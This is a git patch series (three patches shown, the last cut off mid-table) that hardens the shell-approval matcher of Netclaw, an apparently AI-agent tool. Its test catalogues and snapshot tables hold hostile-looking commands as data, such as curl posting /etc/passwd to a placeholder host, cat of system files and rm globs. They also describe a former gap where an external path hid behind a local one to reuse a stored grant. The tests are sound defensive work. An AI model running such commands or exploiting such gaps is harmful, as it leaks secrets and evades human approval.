From 760369a5a62ba13c0287933348b8bd1c6992f2c5 Mon Sep 17 00:00:00 2001 From: Aaron Stannard Date: Wed, 5 Aug 2026 19:36:10 +0000 Subject: [PATCH 1/6] fix(approvals): check every parsed shell path scope --- .../Tools/ShellApprovalCaseCatalog.cs | 36 ++++++++- ...roval_cases_match_review_table.verified.md | 10 ++- .../ShellApprovalMatcherTests.cs | 81 +++++++++++++++++++ src/Netclaw.Security/IToolApprovalMatcher.cs | 67 +++++++-------- 4 files changed, 156 insertions(+), 38 deletions(-) diff --git a/src/Netclaw.Actors.Tests/Tools/ShellApprovalCaseCatalog.cs b/src/Netclaw.Actors.Tests/Tools/ShellApprovalCaseCatalog.cs index 5d7eb7512..87d921ba2 100644 --- a/src/Netclaw.Actors.Tests/Tools/ShellApprovalCaseCatalog.cs +++ b/src/Netclaw.Actors.Tests/Tools/ShellApprovalCaseCatalog.cs @@ -320,15 +320,45 @@ public static class ShellApprovalCases Approvals.PersistentHere(ApprovalDirectoryShape.Project, "tar"), ExpectedApproval.Require([], isMessy: true, approvalChecks: 0)), Case( - "native-file-reference-scope-gap-currently-allows", - Bash("curl --data=@/etc/passwd https://example.invalid/api"), + "native-project-file-reference-reuses-grant", + Bash("curl --data=@request.json https://example.invalid/api"), Approvals.PersistentHere(ApprovalDirectoryShape.Project, "curl"), ExpectedApproval.Allow(ToolAllowReason.StoredApproval, 1, "persistent:curl")), Case( - "native-later-path-scope-gap-currently-allows", + "native-external-file-reference-prompts", + Bash("curl --data=@/etc/passwd https://example.invalid/api"), + Approvals.PersistentHere(ApprovalDirectoryShape.Project, "curl"), + ExpectedApproval.Require(["curl"])), + Case( + "native-later-external-path-prompts", Bash("curl -D ./headers.txt --data=@/etc/passwd https://example.invalid/api"), Approvals.PersistentHere(ApprovalDirectoryShape.Project, "curl"), + ExpectedApproval.Require(["curl"], approvalMatches: ["persistent:curl"])), + Case( + "native-earlier-external-path-prompts", + Bash("curl -D /etc/netclaw.headers --data=@request.json https://example.invalid/api"), + Approvals.PersistentHere(ApprovalDirectoryShape.Project, "curl"), + ExpectedApproval.Require(["curl"], approvalMatches: ["persistent:curl"])), + Case( + "native-two-project-paths-reuse-grant", + Bash("curl -D ./headers.txt --data=@request.json https://example.invalid/api"), + Approvals.PersistentHere(ApprovalDirectoryShape.Project, "curl"), ExpectedApproval.Allow(ToolAllowReason.StoredApproval, 1, "persistent:curl")), + Case( + "native-option-and-redirect-scopes-all-checked", + Bash("curl --data=@/etc/passwd https://example.invalid/api > ./response.json"), + Approvals.PersistentHere(ApprovalDirectoryShape.Project, "curl"), + ExpectedApproval.Require(["curl"], approvalMatches: ["persistent:curl"])), + Case( + "native-dynamic-file-reference-fails-closed", + Bash("curl --data=@$REQUEST_FILE https://example.invalid/api"), + Approvals.PersistentHere(ApprovalDirectoryShape.Project, "curl"), + ExpectedApproval.Require([], isMessy: true, approvalChecks: 0)), + Case( + "unresolved-glob-path-fails-closed", + Bash("rm /tmp/*.bak"), + Approvals.PersistentHere(ApprovalDirectoryShape.Project, "rm"), + ExpectedApproval.Require([], approvalChecks: 0)), Case( "native-global-option-identity-gap-currently-prompts", Bash("git --no-pager status"), diff --git a/src/Netclaw.Actors.Tests/Tools/ShellApprovalDispositionMatrixTests.Shell_approval_cases_match_review_table.verified.md b/src/Netclaw.Actors.Tests/Tools/ShellApprovalDispositionMatrixTests.Shell_approval_cases_match_review_table.verified.md index c7f9e7a3d..4690d17fa 100644 --- a/src/Netclaw.Actors.Tests/Tools/ShellApprovalDispositionMatrixTests.Shell_approval_cases_match_review_table.verified.md +++ b/src/Netclaw.Actors.Tests/Tools/ShellApprovalDispositionMatrixTests.Shell_approval_cases_match_review_table.verified.md @@ -29,8 +29,14 @@ | native-external-path-operand-does-not-reuse-project-grant | Personal | Project | Interactive | kubectl apply /etc/deployment.yaml | persistent[project]:kubectl apply | RequiresApproval | approval required | kubectl apply | No | | native-output-option-outside-scope-prompts | Personal | Project | Interactive | curl -D /etc/netclaw.headers https://example.invalid/api | persistent[project]:curl | RequiresApproval | approval required | curl | No | | native-command-valued-option-fails-closed | Personal | Project | Interactive | tar --info-script=./helper.sh archive.tar | persistent[project]:tar | RequiresApproval | approval required | none | Yes | -| native-file-reference-scope-gap-currently-allows | Personal | Project | Interactive | curl --data=@/etc/passwd https://example.invalid/api | persistent[project]:curl | Allowed | StoredApproval | none | Not applicable | -| native-later-path-scope-gap-currently-allows | Personal | Project | Interactive | curl -D ./headers.txt --data=@/etc/passwd https://example.invalid/api | persistent[project]:curl | Allowed | StoredApproval | none | Not applicable | +| native-project-file-reference-reuses-grant | Personal | Project | Interactive | curl --data=@request.json https://example.invalid/api | persistent[project]:curl | Allowed | StoredApproval | none | Not applicable | +| native-external-file-reference-prompts | Personal | Project | Interactive | curl --data=@/etc/passwd https://example.invalid/api | persistent[project]:curl | RequiresApproval | approval required | curl | No | +| native-later-external-path-prompts | Personal | Project | Interactive | curl -D ./headers.txt --data=@/etc/passwd https://example.invalid/api | persistent[project]:curl | RequiresApproval | approval required | curl | No | +| native-earlier-external-path-prompts | Personal | Project | Interactive | curl -D /etc/netclaw.headers --data=@request.json https://example.invalid/api | persistent[project]:curl | RequiresApproval | approval required | curl | No | +| native-two-project-paths-reuse-grant | Personal | Project | Interactive | curl -D ./headers.txt --data=@request.json https://example.invalid/api | persistent[project]:curl | Allowed | StoredApproval | none | Not applicable | +| native-option-and-redirect-scopes-all-checked | Personal | Project | Interactive | curl --data=@/etc/passwd https://example.invalid/api > ./response.json | persistent[project]:curl | RequiresApproval | approval required | curl | No | +| native-dynamic-file-reference-fails-closed | Personal | Project | Interactive | curl --data=@$REQUEST_FILE https://example.invalid/api | persistent[project]:curl | RequiresApproval | approval required | none | Yes | +| unresolved-glob-path-fails-closed | Personal | Project | Interactive | rm {TempPath}*.bak | persistent[project]:rm | RequiresApproval | approval required | none | No | | native-global-option-identity-gap-currently-prompts | Personal | Project | Interactive | git --no-pager status | persistent[project]:git status | RequiresApproval | approval required | git | No | | semicolon-sequence-prompts | Personal | Project | Interactive | git status; git push | none | RequiresApproval | approval required | git status, git push | No | | newline-sequence-prompts | Personal | Project | Interactive | git status\ngit push | none | RequiresApproval | approval required | git status, git push | No | diff --git a/src/Netclaw.Security.Tests/ShellApprovalMatcherTests.cs b/src/Netclaw.Security.Tests/ShellApprovalMatcherTests.cs index 758c3a52a..0e0761736 100644 --- a/src/Netclaw.Security.Tests/ShellApprovalMatcherTests.cs +++ b/src/Netclaw.Security.Tests/ShellApprovalMatcherTests.cs @@ -528,6 +528,45 @@ public sealed class ShellApprovalMatcherPathExtractionTests private static Dictionary Args(string command) => new() { ["Command"] = command }; + private static Dictionary Args(string command, string workingDirectory) + => new() + { + ["Command"] = command, + ["WorkingDirectory"] = workingDirectory + }; + + public static TheoryData ParserPathScopeCases => new() + { + { + "curl --data=@request.json https://example.invalid/api", + ["project"] + }, + { + "curl --data=@{external}/request.json https://example.invalid/api", + ["external"] + }, + { + "curl -D ./headers.txt --data=@{external}/request.json https://example.invalid/api", + ["project", "external"] + }, + { + "curl -D {external}/headers.txt --data=@request.json https://example.invalid/api", + ["external", "project"] + }, + { + "curl -D ./headers.txt --data=@request.json https://example.invalid/api", + ["project"] + }, + { + "curl --data=@{external}/request.json https://example.invalid/api > ./response.json", + ["external", "project"] + }, + { + "curl --data=@$REQUEST_FILE https://example.invalid/api", + [] + } + }; + /// /// xunit.v3 SkipUnless hook for POSIX-only tests. The v2 /// matcher falls through to the legacy ShellTokenizer path @@ -539,6 +578,37 @@ public sealed class ShellApprovalMatcherPathExtractionTests /// public static bool IsPosix => !OperatingSystem.IsWindows(); + [SlopwatchSuppress("SW001", "This theory verifies Bash parser path scopes, which do not apply to the Windows shell parser.")] + [Theory(SkipUnless = nameof(IsPosix), Skip = "POSIX-only path semantics")] + [MemberData(nameof(ParserPathScopeCases))] + public void ExtractCandidates_uses_all_parser_path_scopes( + string commandTemplate, + string[] expectedScopeNames) + { + var root = Path.Combine(Path.GetTempPath(), $"netclaw-path-scopes-{Guid.NewGuid():N}"); + var projectDirectory = Path.Combine(root, "project"); + var externalDirectory = Path.Combine(root, "external"); + var command = commandTemplate.Replace( + "{external}", + externalDirectory, + StringComparison.Ordinal); + + var candidates = _matcher.ExtractCandidates( + new ToolName("shell_execute"), + Args(command, projectDirectory)); + var expectedDirectories = expectedScopeNames + .Select(scope => scope == "project" ? projectDirectory : externalDirectory) + .Order(StringComparer.Ordinal) + .ToList(); + var actualDirectories = candidates + .Select(candidate => candidate.Directory!) + .Order(StringComparer.Ordinal) + .ToList(); + + Assert.All(candidates, candidate => Assert.Equal("curl", candidate.Verb)); + Assert.Equal(expectedDirectories, actualDirectories); + } + [Fact(SkipUnless = nameof(IsPosix), Skip = "POSIX-only path semantics")] public void ExtractCandidates_strips_path_from_verb() { @@ -959,6 +1029,17 @@ public void IsApproved_treats_side_effect_candidates_as_authorized() } } +/// +/// Supplies source-level Slopwatch suppressions without a runtime package dependency. +/// +[AttributeUsage(AttributeTargets.Method, AllowMultiple = true)] +internal sealed class SlopwatchSuppressAttribute(string ruleId, string reason) : Attribute +{ + public string RuleId { get; } = ruleId; + + public string Reason { get; } = reason; +} + public sealed class DefaultApprovalMatcherTests { private readonly DefaultApprovalMatcher _matcher = DefaultApprovalMatcher.Instance; diff --git a/src/Netclaw.Security/IToolApprovalMatcher.cs b/src/Netclaw.Security/IToolApprovalMatcher.cs index 74632ca6d..63374a7ad 100644 --- a/src/Netclaw.Security/IToolApprovalMatcher.cs +++ b/src/Netclaw.Security/IToolApprovalMatcher.cs @@ -241,7 +241,11 @@ private static IReadOnlyList ExtractCandidatesViaBashAnalysis continue; var isSideEffectVerb = ShellTokenizer.SingleTokenSideEffectVerbs.Contains(verb); - foreach (var directory in ResolveClauseDirectories(clause, isSideEffectVerb)) + var directories = ResolveClauseDirectories(clause, isSideEffectVerb); + if (directories is null) + return []; + + foreach (var directory in directories) { var key = (verb.ToLowerInvariant(), directory); if (seen.Add(key)) @@ -252,42 +256,33 @@ private static IReadOnlyList ExtractCandidatesViaBashAnalysis return candidates; } - private static IReadOnlyList ResolveClauseDirectories( + private static IReadOnlyList? ResolveClauseDirectories( ShellSyntaxTree.Clause clause, bool isSideEffectVerb) { var directories = new List(); - // First explicit path arg wins — that's the candidate's own - // operand, e.g. `dotnet test /home/user/repos/Foo`. Only the - // anchored-path predicate from the legacy tokenizer counts (/, ~/, - // ./, ../ and the bare ~/./..), so `feature/freshdesk-cli-skill` - // and other internal-slash tokens stay as args, not directories. - // The IsPathToken classification runs on the raw user-facing form - // so branch names whose Resolved happens to look path-like don't - // get misclassified; once classified as a path, we persist the - // parser-resolved absolute path when available so it compares - // string-equal to cwd-attributed directories produced by other - // clauses (otherwise `cd ~/x && verb` produces "2 directories" in - // the approval prompt even though both refer to the same folder). + // Each parser path is an authorization scope. A grant must cover all + // scopes, or a later external path could hide behind an earlier local + // path. The resolved value also handles native forms such as @file. foreach (var arg in clause.Args) { - if (arg.IsCwdAttribution) + if (arg.IsCwdAttribution || !IsAuthorizationPathArg(arg)) continue; - var raw = arg.Raw; - if (string.IsNullOrEmpty(raw)) - continue; + // A parser path without a canonical value cannot use the broader + // cwd grant. Return no candidates so the command fails closed. + if (string.IsNullOrWhiteSpace(arg.Resolved)) + return null; - if (raw.StartsWith('-')) - continue; + directories.Add(ShellTokenizer.ApplyFileParentRule(arg.Resolved)); + } - if (ShellTokenizer.IsPathToken(raw)) - { - var canonical = !string.IsNullOrEmpty(arg.Resolved) ? arg.Resolved : raw; - directories.Add(ShellTokenizer.ApplyFileParentRule(canonical)); - break; - } + foreach (var redirect in clause.Redirects) + { + var directory = ResolveRedirectDirectory(redirect); + if (directory is not null) + directories.Add(directory); } if (directories.Count == 0) @@ -299,16 +294,22 @@ private static IReadOnlyList ExtractCandidatesViaBashAnalysis directories.Add(cwdAttribution); } - foreach (var redirect in clause.Redirects) - { - var directory = ResolveRedirectDirectory(redirect); - if (directory is not null) - directories.Add(directory); - } - return directories.Distinct(StringComparer.Ordinal).ToList(); } + private static bool IsAuthorizationPathArg(ShellSyntaxTree.Arg arg) + { + if (!arg.IsPath) + return false; + + if (ShellTokenizer.IsPathToken(arg.Raw) || !arg.Raw.Contains('/', StringComparison.Ordinal)) + return true; + + // An internal slash can also name a ref such as feature/x. Native + // option and @file shapes supply the extra path evidence we need. + return arg.IsFlag || arg.Raw.TrimStart('\'', '"').StartsWith('@'); + } + private static string? ResolveRedirectDirectory(ShellSyntaxTree.Redirect redirect) { if (string.IsNullOrWhiteSpace(redirect.Target) From 648b87c8d1e3c70fdc66a2d5c42a57f8ad62f753 Mon Sep 17 00:00:00 2001 From: Aaron Stannard Date: Wed, 5 Aug 2026 19:48:29 +0000 Subject: [PATCH 2/6] fix(approvals): close reviewed path scope gaps --- .../Tools/ShellApprovalCaseCatalog.cs | 17 ++++++- ...roval_cases_match_review_table.verified.md | 5 +- .../Tools/ToolApprovalGateTests.cs | 20 ++++++++ .../ShellApprovalMatcherTests.cs | 50 ++++++++++++++++++- src/Netclaw.Security/IToolApprovalMatcher.cs | 41 +++++++++++++-- src/Netclaw.Security/ShellCommandAnalysis.cs | 1 + 6 files changed, 125 insertions(+), 9 deletions(-) diff --git a/src/Netclaw.Actors.Tests/Tools/ShellApprovalCaseCatalog.cs b/src/Netclaw.Actors.Tests/Tools/ShellApprovalCaseCatalog.cs index 87d921ba2..a38ba6772 100644 --- a/src/Netclaw.Actors.Tests/Tools/ShellApprovalCaseCatalog.cs +++ b/src/Netclaw.Actors.Tests/Tools/ShellApprovalCaseCatalog.cs @@ -253,6 +253,21 @@ public static class ShellApprovalCases Bash("cat /etc/passwd"), Approvals.None, ExpectedApproval.Require(["cat"])), + Case( + "safe-verb-quoted-external-path-prompts", + Bash("cat \"/etc/netclaw.secret\""), + Approvals.None, + ExpectedApproval.Require(["cat"])), + Case( + "safe-verb-traversal-external-path-prompts", + Bash("cat safe/../../../../../../etc/netclaw.secret"), + Approvals.None, + ExpectedApproval.Require(["cat"])), + Case( + "safe-verb-namespaced-external-path-prompts", + Bash("cat filesystem::/etc/netclaw.secret"), + Approvals.None, + ExpectedApproval.Require(["cat"])), Case( "safe-verb-external-redirect-prompts", Bash($"git status > {TemporaryFile("netclaw-approval-matrix.txt")}"), @@ -358,7 +373,7 @@ public static class ShellApprovalCases "unresolved-glob-path-fails-closed", Bash("rm /tmp/*.bak"), Approvals.PersistentHere(ApprovalDirectoryShape.Project, "rm"), - ExpectedApproval.Require([], approvalChecks: 0)), + ExpectedApproval.Require([], isMessy: true, approvalChecks: 0)), Case( "native-global-option-identity-gap-currently-prompts", Bash("git --no-pager status"), diff --git a/src/Netclaw.Actors.Tests/Tools/ShellApprovalDispositionMatrixTests.Shell_approval_cases_match_review_table.verified.md b/src/Netclaw.Actors.Tests/Tools/ShellApprovalDispositionMatrixTests.Shell_approval_cases_match_review_table.verified.md index 4690d17fa..67b2bda92 100644 --- a/src/Netclaw.Actors.Tests/Tools/ShellApprovalDispositionMatrixTests.Shell_approval_cases_match_review_table.verified.md +++ b/src/Netclaw.Actors.Tests/Tools/ShellApprovalDispositionMatrixTests.Shell_approval_cases_match_review_table.verified.md @@ -16,6 +16,9 @@ | safe-verb-session-allows | Personal | Session | Interactive | git status | none | Allowed | SafeVerbInTrustedScope | none | Not applicable | | safe-verb-external-prompts | Personal | External | Interactive | git status | none | RequiresApproval | approval required | git status | No | | safe-verb-external-path-prompts | Personal | Project | Interactive | cat /etc/passwd | none | RequiresApproval | approval required | cat | No | +| safe-verb-quoted-external-path-prompts | Personal | Project | Interactive | cat "/etc/netclaw.secret" | none | RequiresApproval | approval required | cat | No | +| safe-verb-traversal-external-path-prompts | Personal | Project | Interactive | cat safe/../../../../../../etc/netclaw.secret | none | RequiresApproval | approval required | cat | No | +| safe-verb-namespaced-external-path-prompts | Personal | Project | Interactive | cat filesystem::/etc/netclaw.secret | none | RequiresApproval | approval required | cat | No | | safe-verb-external-redirect-prompts | Personal | Project | Interactive | git status > {TempPath}netclaw-approval-matrix.txt | none | RequiresApproval | approval required | git status | No | | mutating-verb-project-prompts | Personal | Project | Interactive | git push | none | RequiresApproval | approval required | git push | No | | all-safe-compound-allows | Personal | Project | Interactive | git status && git log | none | Allowed | SafeVerbInTrustedScope | none | Not applicable | @@ -36,7 +39,7 @@ | native-two-project-paths-reuse-grant | Personal | Project | Interactive | curl -D ./headers.txt --data=@request.json https://example.invalid/api | persistent[project]:curl | Allowed | StoredApproval | none | Not applicable | | native-option-and-redirect-scopes-all-checked | Personal | Project | Interactive | curl --data=@/etc/passwd https://example.invalid/api > ./response.json | persistent[project]:curl | RequiresApproval | approval required | curl | No | | native-dynamic-file-reference-fails-closed | Personal | Project | Interactive | curl --data=@$REQUEST_FILE https://example.invalid/api | persistent[project]:curl | RequiresApproval | approval required | none | Yes | -| unresolved-glob-path-fails-closed | Personal | Project | Interactive | rm {TempPath}*.bak | persistent[project]:rm | RequiresApproval | approval required | none | No | +| unresolved-glob-path-fails-closed | Personal | Project | Interactive | rm {TempPath}*.bak | persistent[project]:rm | RequiresApproval | approval required | none | Yes | | native-global-option-identity-gap-currently-prompts | Personal | Project | Interactive | git --no-pager status | persistent[project]:git status | RequiresApproval | approval required | git | No | | semicolon-sequence-prompts | Personal | Project | Interactive | git status; git push | none | RequiresApproval | approval required | git status, git push | No | | newline-sequence-prompts | Personal | Project | Interactive | git status\ngit push | none | RequiresApproval | approval required | git status, git push | No | diff --git a/src/Netclaw.Actors.Tests/Tools/ToolApprovalGateTests.cs b/src/Netclaw.Actors.Tests/Tools/ToolApprovalGateTests.cs index 0a573c6fe..e0ef69764 100644 --- a/src/Netclaw.Actors.Tests/Tools/ToolApprovalGateTests.cs +++ b/src/Netclaw.Actors.Tests/Tools/ToolApprovalGateTests.cs @@ -16,6 +16,8 @@ namespace Netclaw.Actors.Tests.Tools; public sealed class ToolApprovalGateTests { + public static bool IsPosix => !OperatingSystem.IsWindows(); + private static ToolAccessPolicy CreatePolicy(ToolApprovalMode shellApprovalMode) { var config = new ToolConfig { ShellMode = ShellExecutionMode.HostAllowed }; @@ -93,6 +95,24 @@ public void Missing_personal_approval_policy_fails_closed_for_shell() Assert.Equal("shell_execute", decision.ApprovalContext!.ToolName); } + [SlopwatchSuppress("SW001", "This test verifies Bash glob behavior, which does not apply to the Windows shell parser.")] + [Fact(SkipUnless = nameof(IsPosix), Skip = "POSIX-only path semantics")] + public void Unresolved_shell_glob_only_offers_one_time_approval_or_deny() + { + var policy = CreatePolicy(ToolApprovalMode.Approval); + var args = ToolInput.Create( + "Command", "rm /tmp/*.bak", + "WorkingDirectory", "/home/user/project"); + + var decision = policy.AuthorizeInvocation(ShellTool(), PersonalContext(), args); + + Assert.True(decision.NeedsApproval); + Assert.True(decision.ApprovalContext!.IsMessy); + Assert.Equal( + [ApprovalOptionKeys.ApproveOnce, ApprovalOptionKeys.Deny], + decision.ApprovalContext.Options.Select(option => option.Key.Value)); + } + [Fact] public void Compound_command_surfaces_all_approval_patterns_for_service_filtering() { diff --git a/src/Netclaw.Security.Tests/ShellApprovalMatcherTests.cs b/src/Netclaw.Security.Tests/ShellApprovalMatcherTests.cs index 0e0761736..20d143006 100644 --- a/src/Netclaw.Security.Tests/ShellApprovalMatcherTests.cs +++ b/src/Netclaw.Security.Tests/ShellApprovalMatcherTests.cs @@ -535,35 +535,52 @@ public sealed class ShellApprovalMatcherPathExtractionTests ["WorkingDirectory"] = workingDirectory }; - public static TheoryData ParserPathScopeCases => new() + public static TheoryData ParserPathScopeCases => new() { { "curl --data=@request.json https://example.invalid/api", + "curl", ["project"] }, { "curl --data=@{external}/request.json https://example.invalid/api", + "curl", ["external"] }, { "curl -D ./headers.txt --data=@{external}/request.json https://example.invalid/api", + "curl", ["project", "external"] }, { "curl -D {external}/headers.txt --data=@request.json https://example.invalid/api", + "curl", ["external", "project"] }, { "curl -D ./headers.txt --data=@request.json https://example.invalid/api", + "curl", ["project"] }, { "curl --data=@{external}/request.json https://example.invalid/api > ./response.json", + "curl", ["external", "project"] }, { "curl --data=@$REQUEST_FILE https://example.invalid/api", + "curl", [] + }, + { + "cat \"{external}/secret.txt\"", + "cat", + ["external"] + }, + { + "cat safe/../../external/secret.txt", + "cat", + ["external"] } }; @@ -583,6 +600,7 @@ public sealed class ShellApprovalMatcherPathExtractionTests [MemberData(nameof(ParserPathScopeCases))] public void ExtractCandidates_uses_all_parser_path_scopes( string commandTemplate, + string expectedVerb, string[] expectedScopeNames) { var root = Path.Combine(Path.GetTempPath(), $"netclaw-path-scopes-{Guid.NewGuid():N}"); @@ -605,10 +623,38 @@ public void ExtractCandidates_uses_all_parser_path_scopes( .Order(StringComparer.Ordinal) .ToList(); - Assert.All(candidates, candidate => Assert.Equal("curl", candidate.Verb)); + Assert.All(candidates, candidate => Assert.Equal(expectedVerb, candidate.Verb)); Assert.Equal(expectedDirectories, actualDirectories); } + [SlopwatchSuppress("SW001", "This test verifies Bash symlink path behavior, which does not apply to the Windows shell parser.")] + [Fact(SkipUnless = nameof(IsPosix), Skip = "POSIX-only path semantics")] + public void ExtractCandidates_keeps_ambiguous_path_when_symlink_can_escape_cwd() + { + var root = Path.Combine(Path.GetTempPath(), $"netclaw-path-symlink-{Guid.NewGuid():N}"); + var projectDirectory = Path.Combine(root, "project"); + var externalDirectory = Path.Combine(root, "external"); + var linkDirectory = Path.Combine(projectDirectory, "link"); + Directory.CreateDirectory(projectDirectory); + Directory.CreateDirectory(externalDirectory); + Directory.CreateSymbolicLink(linkDirectory, externalDirectory); + + try + { + var candidate = Assert.Single(_matcher.ExtractCandidates( + new ToolName("shell_execute"), + Args("cat link/secret.txt", projectDirectory))); + + Assert.Equal("cat", candidate.Verb); + Assert.Equal(linkDirectory, candidate.Directory); + } + finally + { + Directory.Delete(linkDirectory); + Directory.Delete(root, recursive: true); + } + } + [Fact(SkipUnless = nameof(IsPosix), Skip = "POSIX-only path semantics")] public void ExtractCandidates_strips_path_from_verb() { diff --git a/src/Netclaw.Security/IToolApprovalMatcher.cs b/src/Netclaw.Security/IToolApprovalMatcher.cs index 63374a7ad..f566bd1fa 100644 --- a/src/Netclaw.Security/IToolApprovalMatcher.cs +++ b/src/Netclaw.Security/IToolApprovalMatcher.cs @@ -241,7 +241,7 @@ private static IReadOnlyList ExtractCandidatesViaBashAnalysis continue; var isSideEffectVerb = ShellTokenizer.SingleTokenSideEffectVerbs.Contains(verb); - var directories = ResolveClauseDirectories(clause, isSideEffectVerb); + var directories = ResolveClauseDirectories(clause, isSideEffectVerb, workingDirectory); if (directories is null) return []; @@ -258,16 +258,20 @@ private static IReadOnlyList ExtractCandidatesViaBashAnalysis private static IReadOnlyList? ResolveClauseDirectories( ShellSyntaxTree.Clause clause, - bool isSideEffectVerb) + bool isSideEffectVerb, + string? workingDirectory) { var directories = new List(); + var clauseWorkingDirectory = clause.Args + .FirstOrDefault(arg => arg.IsCwdAttribution)?.Resolved + ?? workingDirectory; // Each parser path is an authorization scope. A grant must cover all // scopes, or a later external path could hide behind an earlier local // path. The resolved value also handles native forms such as @file. foreach (var arg in clause.Args) { - if (arg.IsCwdAttribution || !IsAuthorizationPathArg(arg)) + if (arg.IsCwdAttribution || !IsAuthorizationPathArg(arg, clauseWorkingDirectory)) continue; // A parser path without a canonical value cannot use the broader @@ -297,7 +301,9 @@ private static IReadOnlyList ExtractCandidatesViaBashAnalysis return directories.Distinct(StringComparer.Ordinal).ToList(); } - private static bool IsAuthorizationPathArg(ShellSyntaxTree.Arg arg) + private static bool IsAuthorizationPathArg( + ShellSyntaxTree.Arg arg, + string? workingDirectory) { if (!arg.IsPath) return false; @@ -307,7 +313,32 @@ private static bool IsAuthorizationPathArg(ShellSyntaxTree.Arg arg) // An internal slash can also name a ref such as feature/x. Native // option and @file shapes supply the extra path evidence we need. - return arg.IsFlag || arg.Raw.TrimStart('\'', '"').StartsWith('@'); + if (arg.IsFlag || arg.Raw.TrimStart('\'', '"').StartsWith('@')) + return true; + + // Collapse an ambiguous relative token to cwd only when its resolved + // path stays there. External paths and symlink paths need exact checks. + if (string.IsNullOrWhiteSpace(arg.Resolved) + || string.IsNullOrWhiteSpace(workingDirectory)) + { + return true; + } + + try + { + var normalizedPath = PathUtility.Normalize(arg.Resolved); + if (!PathUtility.IsNormalizedWithinRoot(normalizedPath, workingDirectory)) + return true; + + return PathUtility.ContainsSymlinkSegment(workingDirectory, normalizedPath); + } + catch (Exception ex) when (ex is ArgumentException + or IOException + or NotSupportedException + or System.Security.SecurityException) + { + return true; + } } private static string? ResolveRedirectDirectory(ShellSyntaxTree.Redirect redirect) diff --git a/src/Netclaw.Security/ShellCommandAnalysis.cs b/src/Netclaw.Security/ShellCommandAnalysis.cs index bb6c6c4f7..5bd6d15f9 100644 --- a/src/Netclaw.Security/ShellCommandAnalysis.cs +++ b/src/Netclaw.Security/ShellCommandAnalysis.cs @@ -163,5 +163,6 @@ internal sealed record ShellCommandAnalysis( public bool HasDynamicSyntax => Clauses.Any(static clause => clause.Verb.IsDynamic || clause.Args.Any(static arg => arg.Kind == ArgKind.DynamicSkip) + || clause.Args.Any(static arg => arg.IsPath && string.IsNullOrWhiteSpace(arg.Resolved)) || clause.Redirects.Any(static redirect => redirect.IsDynamicSkip)); } From 873f30b77a30aaa5e8a219d6b726475390565f40 Mon Sep 17 00:00:00 2001 From: Aaron Stannard Date: Wed, 5 Aug 2026 20:25:19 +0000 Subject: [PATCH 3/6] fix(approvals): align shell cwd and glob scopes --- .../Tools/ShellApprovalCaseCatalog.cs | 26 ++++++++- ...roval_cases_match_review_table.verified.md | 6 +- .../Tools/ToolApprovalGateTests.cs | 13 +++-- src/Netclaw.Actors/Tools/ToolAccessPolicy.cs | 56 ++++++++++++++----- .../ShellApprovalMatcherTests.cs | 39 +++++++++++++ src/Netclaw.Security/IToolApprovalMatcher.cs | 48 ++++++++++++++++ src/Netclaw.Security/ShellCommandAnalysis.cs | 5 +- 7 files changed, 168 insertions(+), 25 deletions(-) diff --git a/src/Netclaw.Actors.Tests/Tools/ShellApprovalCaseCatalog.cs b/src/Netclaw.Actors.Tests/Tools/ShellApprovalCaseCatalog.cs index a38ba6772..6e8b4609e 100644 --- a/src/Netclaw.Actors.Tests/Tools/ShellApprovalCaseCatalog.cs +++ b/src/Netclaw.Actors.Tests/Tools/ShellApprovalCaseCatalog.cs @@ -238,6 +238,16 @@ public static class ShellApprovalCases Bash("git status"), Approvals.None, ExpectedApproval.Allow(ToolAllowReason.SafeVerbInTrustedScope)), + Case( + "safe-verb-context-project-fallback-allows", + Bash("cat src/readme.txt", ApprovalDirectoryShape.None), + Approvals.None, + ExpectedApproval.Allow(ToolAllowReason.SafeVerbInTrustedScope)), + Case( + "safe-verb-context-project-traversal-prompts", + Bash("cat ../secret.txt", ApprovalDirectoryShape.None), + Approvals.None, + ExpectedApproval.Require(["cat"])), Case( "safe-verb-session-allows", Bash("git status", ApprovalDirectoryShape.Session), @@ -370,10 +380,20 @@ public static class ShellApprovalCases Approvals.PersistentHere(ApprovalDirectoryShape.Project, "curl"), ExpectedApproval.Require([], isMessy: true, approvalChecks: 0)), Case( - "unresolved-glob-path-fails-closed", - Bash("rm /tmp/*.bak"), + "local-glob-allows-safe-verb", + Bash("ls *.txt"), + Approvals.None, + ExpectedApproval.Allow(ToolAllowReason.SafeVerbInTrustedScope)), + Case( + "local-glob-reuses-project-grant", + Bash("rm artifacts/*.tmp"), Approvals.PersistentHere(ApprovalDirectoryShape.Project, "rm"), - ExpectedApproval.Require([], isMessy: true, approvalChecks: 0)), + ExpectedApproval.Allow(ToolAllowReason.StoredApproval, 1, "persistent:rm")), + Case( + "external-glob-does-not-reuse-project-grant", + Bash($"rm {TemporaryFile("*.bak")}"), + Approvals.PersistentHere(ApprovalDirectoryShape.Project, "rm"), + ExpectedApproval.Require(["rm"])), Case( "native-global-option-identity-gap-currently-prompts", Bash("git --no-pager status"), diff --git a/src/Netclaw.Actors.Tests/Tools/ShellApprovalDispositionMatrixTests.Shell_approval_cases_match_review_table.verified.md b/src/Netclaw.Actors.Tests/Tools/ShellApprovalDispositionMatrixTests.Shell_approval_cases_match_review_table.verified.md index 67b2bda92..b913bad99 100644 --- a/src/Netclaw.Actors.Tests/Tools/ShellApprovalDispositionMatrixTests.Shell_approval_cases_match_review_table.verified.md +++ b/src/Netclaw.Actors.Tests/Tools/ShellApprovalDispositionMatrixTests.Shell_approval_cases_match_review_table.verified.md @@ -13,6 +13,8 @@ | hard-deny-beats-stored-grant | Personal | Project | Interactive | netclaw daemon stop | persistent[anywhere]:netclaw daemon stop | Denied | hard_deny_self_destructive | none | Not applicable | | compound-hard-deny-denies | Personal | Project | Interactive | git status && netclaw daemon stop | none | Denied | hard_deny_self_destructive | none | Not applicable | | safe-verb-project-allows | Personal | Project | Interactive | git status | none | Allowed | SafeVerbInTrustedScope | none | Not applicable | +| safe-verb-context-project-fallback-allows | Personal | None | Interactive | cat src/readme.txt | none | Allowed | SafeVerbInTrustedScope | none | Not applicable | +| safe-verb-context-project-traversal-prompts | Personal | None | Interactive | cat ../secret.txt | none | RequiresApproval | approval required | cat | No | | safe-verb-session-allows | Personal | Session | Interactive | git status | none | Allowed | SafeVerbInTrustedScope | none | Not applicable | | safe-verb-external-prompts | Personal | External | Interactive | git status | none | RequiresApproval | approval required | git status | No | | safe-verb-external-path-prompts | Personal | Project | Interactive | cat /etc/passwd | none | RequiresApproval | approval required | cat | No | @@ -39,7 +41,9 @@ | native-two-project-paths-reuse-grant | Personal | Project | Interactive | curl -D ./headers.txt --data=@request.json https://example.invalid/api | persistent[project]:curl | Allowed | 